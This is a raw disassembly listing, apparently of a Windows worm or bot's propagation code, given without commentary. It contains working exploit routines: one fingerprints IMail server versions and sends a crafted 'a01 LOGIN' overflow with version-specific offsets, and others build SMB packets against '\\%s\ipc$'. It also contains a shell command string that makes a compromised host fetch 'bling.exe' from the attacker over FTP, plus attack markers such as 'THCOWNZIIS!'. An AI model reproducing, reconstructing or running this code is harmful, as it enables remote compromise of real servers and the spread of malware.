push ebp
mov ebp, esp
sub esp, 1Ch
push esi
push edi
mov esi, 160h
push esi
mov dword ptr [ebp-4], 6741A1CDh
call sub_41E5D3
push esi
mov edi, eax
push 0
push edi
call sub_41E5F0
push 12h
push offset dword_43E788
push edi
call sub_41F400
lea esi, [edi+11h]
push offset dword_432E40
push esi
call sub_41EED0
push offset aThcownziis ; "THCOWNZIIS!"
push esi
call sub_41EED0
not dword ptr [ebp-4]
push 4
lea eax, [ebp-4]
push eax
push esi
call sub_41F2C0
xor eax, eax
mov ax, word ptr ds:dword_4D525C
add esp, 38h
push eax
call ds:dword_444260 ; htons
push dword ptr [ebp+8]
mov [ebp-8], eax
call sub_4023C9
pop ecx
push eax
call ds:dword_44417C ; inet_addr
xor dword ptr [ebp-8], 9393h
mov [ebp-0Ch], eax
xor dword ptr [ebp-0Ch], 93939393h
push 2
lea eax, [ebp-8]
push eax
push offset word_43E7A2
call sub_41F400
push 4
lea eax, [ebp-0Ch]
push eax
push offset dword_43E7A4
call sub_41F400
push offset byte_43E7A0
push esi
call sub_41EED0
add esp, 20h
push 6
push 1
push 2
call ds:dword_444100 ; socket
mov esi, eax
lea eax, [ebp+0Ch]
push eax
call ds:dword_44417C ; inet_addr
push 1BBh
mov [ebp-18h], eax
mov word ptr [ebp-1Ch], 2
call ds:dword_444260 ; htons
mov [ebp-1Ah], ax
push 10h
lea eax, [ebp-1Ch]
push eax
push esi
call ds:dword_4440AC ; connect
test eax, eax
jnz short loc_40D04F
push eax
push 15Fh
push edi
push esi
call ds:dword_4441A0 ; send
push esi
call ds:dword_444218 ; closesocket
push edi
call sub_41E2A1
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
xor eax, eax
pop ecx
inc eax
jmp short loc_40D051
; ---------------------------------------------------------------------------
loc_40D04F: ; CODE XREF: seg000:0040D01Bj
xor eax, eax
loc_40D051: ; CODE XREF: seg000:0040D04Dj
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D055 proc near ; CODE XREF: seg000:0040D728p
var_800 = byte ptr -800h
var_400 = byte ptr -400h
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 800h
push esi
push edi
mov edi, [ebp+arg_BC]
push 0
mov esi, 400h
push esi
lea eax, [ebp+var_800]
push eax
push edi
call ds:dword_444064 ; recv
cmp eax, 0FFFFFFFFh
jz loc_40D128
movzx eax, word ptr ds:dword_4D1FE4
push eax
push [ebp+arg_0]
call sub_4023C9
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_400]
push esi
push eax
call sub_41E6FE
add esp, 14h
lea eax, [ebp+var_400]
push 0
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_400]
push eax
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40D128
push 1F4h
call ds:dword_42B014 ; Sleep
push offset aBling_exe ; "bling.exe\r\n"
lea eax, [ebp+var_400]
push esi
push eax
call sub_41E6FE
add esp, 0Ch
lea eax, [ebp+var_400]
push 0
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_400]
push eax
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40D128
push 0
push esi
push offset dword_4D4BB0
push edi
call ds:dword_444064 ; recv
push edi
call ds:dword_444218 ; closesocket
loc_40D128: ; CODE XREF: sub_40D055+2Aj
; sub_40D055+78j ...
pop edi
pop esi
leave
retn
sub_40D055 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 12Ch
push ebx
push esi
push edi
mov dword ptr [ebp-14h], 10h
call sub_41ECDE
cdq
mov ecx, 3E8h
idiv ecx
lea eax, [ebp+0Ch]
push eax
mov edi, edx
add edi, 7D0h
mov [ebp-20h], edi
call ds:dword_444168 ; gethostbyname
mov esi, eax
test esi, esi
jnz short loc_40D17F
lea eax, [ebp+0Ch]
push eax
call ds:dword_42B218 ; inet_addr
cmp eax, 0FFFFFFFFh
mov ds:dword_4D4CC0, eax
jz loc_40D757
loc_40D17F: ; CODE XREF: seg000:0040D165j
push 6
push 1
push 2
pop ebx
push ebx
call ds:dword_444100 ; socket
test eax, eax
mov ds:dword_4D4CBC, eax
jz loc_40D757
test esi, esi
jz short loc_40D1B6
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_41F400
add esp, 0Ch
jmp short loc_40D1BE
; ---------------------------------------------------------------------------
loc_40D1B6: ; CODE XREF: seg000:0040D19Cj
mov eax, ds:dword_4D4CC0
mov [ebp-0Ch], eax
loc_40D1BE: ; CODE XREF: seg000:0040D1B4j
test esi, esi
jz short loc_40D1CC
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_40D1D0
; ---------------------------------------------------------------------------
loc_40D1CC: ; CODE XREF: seg000:0040D1C0j
mov [ebp-10h], bx
loc_40D1D0: ; CODE XREF: seg000:0040D1CAj
push dword ptr [ebp+0A8h]
call ds:dword_444260 ; htons
push dword ptr [ebp+8]
mov [ebp-0Eh], ax
call sub_4023C9
pop ecx
push eax
call ds:dword_44417C ; inet_addr
push edi
mov esi, eax
call ds:dword_444260 ; htons
movzx eax, ax
xor eax, 7C1Fh
mov [ebp-1Ch], eax
push 4
lea eax, [ebp-18h]
push eax
xor esi, 7C1F1AE0h
push offset dword_43E9A8
mov [ebp-18h], esi
call sub_41F400
push ebx
lea eax, [ebp-1Ch]
push eax
push offset word_43E9AE
call sub_41F400
push 386h
push 90h
mov edi, offset dword_4D4CC8
push edi
call sub_41E5F0
push 0Ch
push offset aA01Login ; "a01 LOGIN \"&"
push edi
call sub_41F400
push 138h
push offset dword_43E8F0
push offset dword_4D4D74
call sub_41F400
push 2Ah
push offset dword_43EAC8
push offset dword_4D4F94
call sub_41F400
add esp, 48h
push 0Bh
push offset aWe0wn ; "\" \"We0wn\"\r\n"
push offset word_4D504E
call sub_41F400
add esp, 0Ch
push 10h
lea eax, [ebp-10h]
push eax
push ds:dword_4D4CBC
call ds:dword_4440AC ; connect
test eax, eax
mov ds:dword_4D4CB8, eax
jnz loc_40D757
push eax
push 100h
mov esi, offset dword_4D4BB0
push esi
push ds:dword_4D4CBC
call ds:dword_444064 ; recv
push offset aImail ; "IMail"
push esi
mov ds:dword_4D4CB0, eax
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz loc_40D7DE
push offset a7_04 ; "7.04"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D30D
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA30
loc_40D303: ; CODE XREF: seg000:0040D335j
; seg000:0040D370j ...
push offset dword_4D4F84
jmp loc_40D635
; ---------------------------------------------------------------------------
loc_40D30D: ; CODE XREF: seg000:0040D2EAj
push offset a7_05 ; "7.05"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D337
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA38
jmp short loc_40D303
; ---------------------------------------------------------------------------
loc_40D337: ; CODE XREF: seg000:0040D31Cj
push offset a7_06 ; "7.06"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jnz short loc_40D359
push offset a7_07 ; "7.07"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D372
loc_40D359: ; CODE XREF: seg000:0040D346j
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA40
jmp short loc_40D303
; ---------------------------------------------------------------------------
loc_40D372: ; CODE XREF: seg000:0040D357j
push offset a7_10 ; "7.10"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jnz short loc_40D394
push offset a7_11 ; "7.11"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D3B0
loc_40D394: ; CODE XREF: seg000:0040D381j
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA48
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D3B0: ; CODE XREF: seg000:0040D392j
push offset a7_12 ; "7.12"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D3DD
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA50
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D3DD: ; CODE XREF: seg000:0040D3BFj
push offset a7_13 ; "7.13"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jnz short loc_40D3FF
push offset a7_14 ; "7.14"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D41B
loc_40D3FF: ; CODE XREF: seg000:0040D3ECj
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA58
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D41B: ; CODE XREF: seg000:0040D3FDj
push offset a7_15 ; "7.15"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D448
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA60
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D448: ; CODE XREF: seg000:0040D42Aj
push offset a8_00 ; "8.00"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D475
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA68
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D475: ; CODE XREF: seg000:0040D457j
push offset a8_01 ; "8.01"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D4A2
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA70
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D4A2: ; CODE XREF: seg000:0040D484j
push offset a8_02 ; "8.02"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D4CF
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA78
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D4CF: ; CODE XREF: seg000:0040D4B1j
push offset a8_03 ; "8.03"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D4FC
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA80
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D4FC: ; CODE XREF: seg000:0040D4DEj
push offset a8_04 ; "8.04"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D529
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA88
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D529: ; CODE XREF: seg000:0040D50Bj
push offset a8_05 ; "8.05"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D556
push ebx
push offset dword_43EA2C
push offset word_4D4F82
call sub_41F400
push 4
push offset dword_43EA90
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D556: ; CODE XREF: seg000:0040D538j
push offset a8_10 ; "8.10"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D583
push ebx
push offset dword_43EA2C
push offset word_4D4F7A
call sub_41F400
push 4
push offset dword_43EA98
jmp loc_40D630
; ---------------------------------------------------------------------------
loc_40D583: ; CODE XREF: seg000:0040D565j
push offset a8_11 ; "8.11"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D5B0
push ebx
push offset dword_43EA2C
push offset word_4D4F7A
call sub_41F400
push 4
push offset dword_43EAA0
jmp loc_40D630
; ---------------------------------------------------------------------------
loc_40D5B0: ; CODE XREF: seg000:0040D592j
push offset a8_12 ; "8.12"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D5DA
push ebx
push offset dword_43EA2C
push offset word_4D4F7A
call sub_41F400
push 4
push offset dword_43EAA8
jmp short loc_40D630
; ---------------------------------------------------------------------------
loc_40D5DA: ; CODE XREF: seg000:0040D5BFj
push offset a8_13 ; "8.13"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D604
push ebx
push offset dword_43EA2C
push offset word_4D4F7A
call sub_41F400
push 4
push offset dword_43EAB0
jmp short loc_40D630
; ---------------------------------------------------------------------------
loc_40D604: ; CODE XREF: seg000:0040D5E9j
push offset a8_14 ; "8.14"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz loc_40D75E
push ebx
push offset dword_43EA2C
push offset word_4D4F7A
call sub_41F400
push 4
push offset dword_43EAB8
loc_40D630: ; CODE XREF: seg000:0040D57Ej
; seg000:0040D5ABj ...
push offset dword_4D4F7C
loc_40D635: ; CODE XREF: seg000:0040D308j
call sub_41F400
add esp, 18h
loc_40D63D: ; CODE XREF: seg000:0040D7EDj
mov esi, ds:dword_42B014
push 64h
call esi ; Sleep
push 0
push edi
call sub_41E1C0
pop ecx
push eax
push edi
push ds:dword_4D4CBC
call ds:dword_4441A0 ; send
push 64h
call esi ; Sleep
push dword ptr [ebp-20h]
xor edi, edi
mov [ebp-0Ch], edi
call ds:dword_444260 ; htons
push 6
xor esi, esi
inc esi
push esi
push ebx
mov [ebp-0Eh], ax
call ds:dword_444100 ; socket
push 10h
lea ecx, [ebp-10h]
push ecx
push eax
mov ds:dword_4D4CB4, eax
call ds:dword_4441E4 ; bind
cmp eax, edi
mov ds:dword_4D4CB8, eax
jnz loc_40D757
push esi
push ds:dword_4D4CB4
call ds:dword_444230 ; listen
cmp eax, edi
mov ds:dword_4D4CB8, eax
jnz loc_40D757
mov eax, ds:dword_4D4CB4
mov [ebp-128h], eax
lea eax, [ebp-28h]
push eax
push edi
push edi
lea eax, [ebp-12Ch]
push eax
push esi
mov dword ptr [ebp-28h], 8
mov [ebp-24h], edi
mov [ebp-12Ch], esi
call ds:dword_42B21C ; select
test eax, eax
jle short loc_40D757
lea eax, [ebp-14h]
push eax
lea eax, [ebp-10h]
push eax
push ds:dword_4D4CB4
call ds:dword_4440BC ; accept
mov ecx, [ebp+0B0h]
shl ecx, 6
push eax
lea ecx, dword_43D888[ecx]
inc dword ptr [ecx]
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
mov ds:dword_4D50C8, eax
rep movsd
call sub_40D055
add esp, 0C0h
push ds:dword_4D4CBC
call ds:dword_444218 ; closesocket
push ds:dword_4D4CB4
call ds:dword_444218 ; closesocket
push ds:dword_4D50C8
loc_40D751: ; CODE XREF: seg000:0040D7F9j
call ds:dword_444218 ; closesocket
loc_40D757: ; CODE XREF: seg000:0040D179j
; seg000:0040D194j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40D75E: ; CODE XREF: seg000:0040D613j
push offset a8_15 ; "8.15"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jz short loc_40D78B
push ebx
push offset dword_43EA2C
push offset word_4D4F7A
call sub_41F400
push 4
push offset dword_43EAC0
jmp loc_40D630
; ---------------------------------------------------------------------------
loc_40D78B: ; CODE XREF: seg000:0040D76Dj
push offset aHotfix2 ; "hotfix2"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jnz short loc_40D7F3
push offset a4_0 ; "4.0"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jnz short loc_40D7F3
push offset a5_0 ; "5.0"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jnz short loc_40D7F3
push offset a6_0 ; "6.0"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jnz short loc_40D7F3
push offset a7_0 ; "7.0"
push esi
call sub_41F090
pop ecx
pop ecx
jmp short loc_40D7F3
; ---------------------------------------------------------------------------
loc_40D7DE: ; CODE XREF: seg000:0040D2D5j
push offset aImail ; "IMail"
push esi
call sub_41F090
test eax, eax
pop ecx
pop ecx
jnz loc_40D63D
loc_40D7F3: ; CODE XREF: seg000:0040D79Aj
; seg000:0040D7ABj ...
push ds:dword_4D4CBC
jmp loc_40D751
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D7FE proc near ; CODE XREF: seg000:0040DD59p
; seg000:0040DD7Bp ...
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_41EA20
mov eax, ds:dword_432F94
push ebx
mov [ebp+var_10], eax
mov eax, ds:dword_432F98
push esi
mov [ebp+var_C], eax
push edi
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_3C]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax
call sub_41E6A6
add esp, 0Ch
xor ebx, ebx
xor eax, eax
loc_40D837: ; CODE XREF: sub_40D7FE+4Fj
mov cl, [ebp+eax+var_3C]
mov [ebp+eax*2+var_104], cl
mov [ebp+eax*2+var_103], bl
inc eax
cmp eax, 28h
jl short loc_40D837
push 60h
lea eax, [ebp+var_B4]
push offset dword_43EFF8
push eax
call sub_41F400
lea eax, [ebp+var_3C]
push eax
call sub_41E1C0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_41F400
add esp, 1Ch
push 9
lea eax, [ebp+var_3C]
push (offset aC_4+3)
push eax
call sub_41E1C0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_41F400
lea eax, [ebp+var_3C]
push eax
call sub_41E1C0
add al, 1Ah
shl al, 1
mov [ebp+var_1], al
push 1
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_41F400
lea eax, [ebp+var_3C]
push eax
call sub_41E1C0
shl al, 1
add al, 9
mov [ebp+var_2], al
push 1
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_41F400
xor eax, eax
mov ax, word ptr ds:dword_43F400
add esp, 2Ch
push eax
call ds:dword_444260 ; htons
push 2
xor eax, 9999h
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_43ECF0
call sub_41F400
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40D9FE
mov edi, 0DACh
push edi
lea eax, [ebp+var_1CC4]
push 90h
push eax
call sub_41E5F0
mov eax, [ebp+arg_C0]
imul eax, 3Ch
lea eax, dword_43F440[eax]
push 4
push eax
mov [ebp+var_14], eax
lea eax, [ebp+var_14E0]
push eax
call sub_41F400
mov esi, offset dword_43EC40
push esi
call sub_41E1C0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_41F400
push 4
lea eax, [ebp+var_11AC]
push offset dword_432F80
push eax
call sub_41F400
push 4
push [ebp+var_14]
lea eax, [ebp+var_11A8]
push eax
call sub_41F400
add esp, 40h
push esi
call sub_41E1C0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_41F400
add esp, 10h
xor eax, eax
loc_40D9B0: ; CODE XREF: sub_40D7FE+1CAj
mov cl, [ebp+eax+var_1CC4]
mov [ebp+eax*2+var_4804], cl
mov [ebp+eax*2+var_4803], bl
inc eax
cmp eax, edi
jl short loc_40D9B0
mov esi, 1C52h
push esi
lea eax, [ebp+var_89B4]
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_41E5F0
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_41E5F0
add esp, 18h
jmp short loc_40DA55
; ---------------------------------------------------------------------------
loc_40D9FE: ; CODE XREF: sub_40D7FE+11Bj
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_41E5F0
mov esi, offset dword_43EC40
push esi
call sub_41E1C0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_41F400
lea eax, [ebp+var_10]
push eax
call sub_41E1C0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_41F400
mov eax, ds:dword_43F440
add esp, 2Ch
mov [ebp+var_768], eax
loc_40DA55: ; CODE XREF: sub_40D7FE+1FEj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_41E5F0
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
push ebx
add eax, 4
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40DA94
loc_40DA8D: ; CODE XREF: sub_40D7FE+2BDj
; sub_40D7FE+2E4j ...
xor al, al
jmp loc_40DC42
; ---------------------------------------------------------------------------
loc_40DA94: ; CODE XREF: sub_40D7FE+28Dj
push ebx
mov esi, 640h
push esi
lea eax, [ebp+var_744]
push eax
push edi
call ds:dword_444064 ; recv
push ebx
push 68h
push offset dword_43F060
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40DA8D
push ebx
push esi
lea eax, [ebp+var_744]
push eax
push edi
call ds:dword_444064 ; recv
push ebx
push 0A0h
push offset dword_43F0D0
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40DA8D
push ebx
push esi
lea eax, [ebp+var_744]
push eax
push edi
call ds:dword_444064 ; recv
cmp [ebp+arg_C0], ebx
jz loc_40DBAA
push 68h
lea eax, [ebp+var_89B4]
push offset dword_43F290
push eax
call sub_41F400
push 1B5Ah
lea eax, [ebp+var_4804]
push eax
lea eax, [ebp+var_894C]
push eax
call sub_41F400
push 70h
lea eax, [ebp+var_68DC]
push offset dword_43F300
push eax
call sub_41F400
push 0A5Eh
lea eax, [ebp+var_3770]
push eax
lea eax, [ebp+var_686C]
push eax
call sub_41F400
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_43F378
push eax
call sub_41F400
add esp, 3Ch
push ebx
push 10FCh
lea eax, [ebp+var_89B4]
push eax
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40DA8D
push ebx
push esi
lea eax, [ebp+var_744]
push eax
push edi
call ds:dword_444064 ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40DC00
; ---------------------------------------------------------------------------
loc_40DBAA: ; CODE XREF: sub_40D7FE+2FCj
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_43F178
push eax
call sub_41F400
push 7D0h
lea eax, [ebp+var_F14]
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_41F400
push 90h
lea eax, [ebp+var_245C]
push offset off_43F1F8
push eax
call sub_41F400
add esp, 24h
push ebx
mov [ebp+var_1FB1], bl
push 0CF8h
lea eax, [ebp+var_2CA8]
loc_40DC00: ; CODE XREF: sub_40D7FE+3AAj
push eax
push edi
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40DA8D
push 12Ch
call ds:dword_42B014 ; Sleep
push ds:dword_43F400
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
test al, al
setnz al
loc_40DC42: ; CODE XREF: sub_40D7FE+291j
pop edi
pop esi
pop ebx
leave
retn
sub_40D7FE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 654h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-14h], 2
call ds:dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call ds:dword_444260 ; htons
push 6
push 1
push 2
mov [ebp-12h], ax
call ds:dword_444100 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40DD40
push 10h
lea eax, [ebp-14h]
push eax
push ebx
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40DD40
push edi
push 89h
push offset dword_43EDD8
push ebx
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40DD40
push edi
mov esi, 640h
push esi
lea eax, [ebp-654h]
push eax
push ebx
call ds:dword_444064 ; recv
push edi
push 0A8h
push offset dword_43EE68
push ebx
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40DD40
push edi
push esi
lea eax, [ebp-654h]
push eax
push ebx
call ds:dword_444064 ; recv
push edi
push 0DEh
push offset dword_43EF18
push ebx
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40DD40
push edi
push esi
lea eax, [ebp-654h]
push eax
push ebx
call ds:dword_444064 ; recv
movsx eax, byte ptr [ebp-610h]
sub eax, 30h
jz short loc_40DD68
dec eax
jz short loc_40DD47
loc_40DD40: ; CODE XREF: seg000:0040DC9Bj
; seg000:0040DCB1j ...
xor eax, eax
jmp loc_40DDD4
; ---------------------------------------------------------------------------
loc_40DD47: ; CODE XREF: seg000:0040DD3Ej
push edi
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40D7FE
add esp, 0C4h
push 0
jmp short loc_40DD8C
; ---------------------------------------------------------------------------
loc_40DD68: ; CODE XREF: seg000:0040DD3Bj
push 2
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40D7FE
add esp, 0C4h
test al, al
jnz short loc_40DDAC
push 1
loc_40DD8C: ; CODE XREF: seg000:0040DD66j
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40D7FE
add esp, 0C4h
test al, al
jz short loc_40DDB3
loc_40DDAC: ; CODE XREF: seg000:0040DD88j
mov dword ptr [ebp-4], 1
loc_40DDB3: ; CODE XREF: seg000:0040DDAAj
push ebx
call ds:dword_444218 ; closesocket
cmp dword ptr [ebp-4], 0
jz short loc_40DDD1
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D888[eax]
inc dword ptr [eax]
loc_40DDD1: ; CODE XREF: seg000:0040DDBEj
xor eax, eax
inc eax
loc_40DDD4: ; CODE XREF: seg000:0040DD42j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DDD9 proc near ; CODE XREF: seg000:0040E332p
; seg000:0040E354p ...
var_89B8 = byte ptr -89B8h
var_8950 = byte ptr -8950h
var_68E0 = byte ptr -68E0h
var_6870 = byte ptr -6870h
var_5DAC = byte ptr -5DACh
var_4808 = byte ptr -4808h
var_4807 = byte ptr -4807h
var_3774 = byte ptr -3774h
var_2CB0 = byte ptr -2CB0h
var_2CAF = byte ptr -2CAFh
var_2CAC = byte ptr -2CACh
var_24C8 = byte ptr -24C8h
var_24B8 = byte ptr -24B8h
var_2194 = byte ptr -2194h
var_2190 = byte ptr -2190h
var_2184 = byte ptr -2184h
var_1EFC = byte ptr -1EFCh
var_1E80 = byte ptr -1E80h
var_16B0 = byte ptr -16B0h
var_1205 = byte ptr -1205h
var_F18 = byte ptr -0F18h
var_E78 = byte ptr -0E78h
var_76C = dword ptr -76Ch
var_75C = byte ptr -75Ch
var_748 = byte ptr -748h
var_108 = byte ptr -108h
var_107 = byte ptr -107h
var_B8 = byte ptr -0B8h
var_B5 = byte ptr -0B5h
var_8B = byte ptr -8Bh
var_89 = byte ptr -89h
var_88 = byte ptr -88h
var_40 = byte ptr -40h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B8h
call sub_41EA20
mov eax, ds:dword_432F94
push ebx
mov [ebp+var_10], eax
mov eax, ds:dword_432F98
push esi
mov [ebp+var_C], eax
push edi
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_40]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax
call sub_41E6A6
add esp, 0Ch
xor ebx, ebx
